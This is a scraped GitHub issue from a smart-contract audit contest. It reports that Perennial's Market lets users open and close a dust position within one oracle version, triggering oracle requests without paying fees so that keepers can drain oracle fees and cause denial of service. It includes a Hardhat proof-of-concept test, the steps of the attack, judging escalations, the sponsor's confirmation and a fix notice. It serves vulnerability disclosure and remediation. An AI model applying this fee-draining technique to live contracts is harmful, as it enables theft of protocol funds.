-
Notifications
You must be signed in to change notification settings - Fork 1
0x73696d616f - Drained oracle fees from market by depositing and withdrawing immediately without triggering settlement fees #153
0x73696d616f - Drained oracle fees from market by depositing and withdrawing immediately without triggering settlement fees #153
Comments
2 comment(s) were left on this issue during the judging contest. 141345 commented:
panprog commented:
|
Escalate Then, after a few requests are triggered or someone else either opens a position or commits a new price, the attacker can commit all the previous requests. The only requirement is that the publish time of the requests are within the This would pay the attacker the incentives and the profit depends on the specific math (considering the gas fees). Additionally, over a long enough period, it could drain the protocol of keeper fees, which would lead to DoS due to lack of fees to commit new prices. I tweaked the POC a bit to show how several requests can be made consecutively without paying any fees to the protocol. The positions are opened and closed in the it.only('POC opens and closes the position to trigger an oracle request without paying any fee', async () => {
const dustCollateral = parse6decimal("100");
const dustPosition = parse6decimal ("0.000001");
for (let i = 0; i < 5; i++) {
dsu.transferFrom.whenCalledWith(user.address, market.address, dustCollateral.mul(1e12)).returns(true)
await expect(market.connect(user).update(user.address, dustPosition, 0, 0, dustCollateral, false))
.to.emit(market, 'Updated')
.withArgs(user.address, ORACLE_VERSION_2.timestamp, dustPosition, 0, 0, dustCollateral, false)
expectLocalEq(await market.locals(user.address), {
currentId: 1,
latestId: 0,
collateral: dustCollateral,
reward: 0,
protection: 0,
})
expectPositionEq(await market.positions(user.address), {
...DEFAULT_POSITION,
timestamp: ORACLE_VERSION_1.timestamp,
})
expectPositionEq(await market.pendingPositions(user.address, 1), {
...DEFAULT_POSITION,
timestamp: ORACLE_VERSION_2.timestamp,
maker: dustPosition,
delta: dustCollateral,
})
expectGlobalEq(await market.global(), {
currentId: 1,
latestId: 0,
protocolFee: 0,
oracleFee: 0,
riskFee: 0,
donation: 0,
})
expectPositionEq(await market.position(), {
...DEFAULT_POSITION,
timestamp: ORACLE_VERSION_1.timestamp,
})
expectPositionEq(await market.pendingPosition(1), {
...DEFAULT_POSITION,
timestamp: ORACLE_VERSION_2.timestamp,
maker: dustPosition,
})
expectVersionEq(await market.versions(ORACLE_VERSION_1.timestamp), {
makerValue: { _value: 0 },
longValue: { _value: 0 },
shortValue: { _value: 0 },
makerReward: { _value: 0 },
longReward: { _value: 0 },
shortReward: { _value: 0 },
})
dsu.transfer.whenCalledWith(user.address, dustCollateral.mul(1e12)).returns(true)
await expect(market.connect(user).update(user.address, 0, 0, 0, dustCollateral.mul(-1), false))
.to.emit(market, 'Updated')
.withArgs(user.address, ORACLE_VERSION_2.timestamp, 0, 0, 0, dustCollateral.mul(-1), false)
expect(oracle.request).to.have.been.calledWith(user.address)
await time.increase(1)
}
}) |
The escalation could not be created because you are not exceeding the escalation threshold. You can view the required number of additional valid issues/judging contest payouts in your Profile page, |
This is a great find - while the keeper and position fees are correctly accounted for in most cases, this single version open and close does not correctly debit these fees and require the collateral balance to be higher than the fee amount. Thank you for the thorough test case as well. We will fix this |
Escalate Confirmed by sponsor above, fees are not correctly debited for single version open and close. |
You've created a valid escalation! To remove the escalation from consideration: Delete your comment. You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final. |
The severity of medium seems more appropriate. Because according to sherlock's HM criteria:
Here:
In summary, the loss is limited with cost, medium might be suffice. |
Result: |
Escalations have been resolved successfully! Escalation status:
|
From WatchPug, Fixed. |
0x73696d616f
high
Drained oracle fees from market by depositing and withdrawing immediately without triggering settlement fees
Summary
The oracle fee can be drained, as requests can be made without paying fees by depositing and withdrawing immediately, leading to theft of yield to the
keeper
and potentially a DoS in the system. The DoS happens because the oracle version must be increased to trigger the settlements (global
andlocal
), such that akeeper
amount must be available prior to the new version oracle request. Thiskeeper
amount would not be available as attackers would have drained the fees before any settlement occurs.Vulnerability Detail
Market
advances in the id of theGlobal
andLocal
states by fetchinglatestVersion
andcurrentTimestamp
from the oracle, increasing it if there is an update.When a new position is updated by calling
update()
, if the order is not empty (when there is a modification in themaker
,long
orshort
amounts), it requests a new version from the oracle. This means that users can trigger a request with the smallest position possible (1), not paying any fees.Fetching a price in the oracle is expensive, thus
Perennial
attributes anoracleFee
to the oracle, which is then fed to thekeeper
for commiting prices in the oracle. Notice that anyone can be thekeeper
, the only requirement is to submit a valid price to the oracle.In the oracle, the incentive is only paid if there was a previous request, most likely from
Market
(can be anyauthorized
entity). As theoracleFee
is only increased on settlements, an oracle request can be triggered at any block (only 1 request per block is allowed) by depositing and withdrawing in the same block, without providing any settlement fee.Thus, this mechanism can be exploited to give maximum profit to the
keeper
, which would force the protocol to manually add fees to the oracle or be DoSed (could be both).Impact
Theft of yield and protocol funds by abusing the
keeper
role and DoS of theMarket
.Code Snippet
Added the following test to
Market.test.ts
, proving that the request can be triggered without paying any fees. The attacker would then proceed to commit a price to the oracle and get the fees (possible at every block), until there are no more fees in theMarket
.Tool used
Vscode, Hardhat, Manual Review
Recommendation
Whitelist the keeper role to prevent malicious users from figuring out ways to profit from the incentive mechanism. Additionally, the whitelisted keppers could skip oracle requests if they don't contribute to settlements (when there are no orders to settle), to ensure that funds are always available.
The text was updated successfully, but these errors were encountered: